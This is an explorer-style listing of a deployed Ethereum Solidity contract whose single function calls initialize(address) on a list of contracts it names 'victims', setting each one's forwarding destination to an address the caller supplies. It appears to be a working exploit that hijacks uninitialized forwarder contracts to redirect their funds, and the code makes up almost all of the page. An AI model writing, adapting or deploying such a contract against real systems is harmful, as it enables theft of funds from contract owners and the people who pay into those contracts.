Description:
Smart contract deployed on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Porwarder {
function destination() external view returns (address payable);
function initialize(address payable _destination) external;
}
contract Powarder {
error InitializeFailed(address victim, address destination, bytes reason);
event ForwardingSetup(
address indexed victim,
address destination,
bool success
);
function setupPorwarding(
address[] memory victims,
address payable[] memory destinations
) external {
require(victims.length == destinations.length, "Array length mismatch");
for (uint256 i = 0; i < victims.length; i++) {
(bool success, bytes memory reason) = victims[i].call(
abi.encodeWithSignature("initialize(address)", destinations[i])
);
emit ForwardingSetup(victims[i], destinations[i], success);
if (!success) {
revert InitializeFailed(victims[i], destinations[i], reason);
}
}
}
}
Submitted on: 2025-10-19 10:46:47
Comments
Log in to comment.
No comments yet.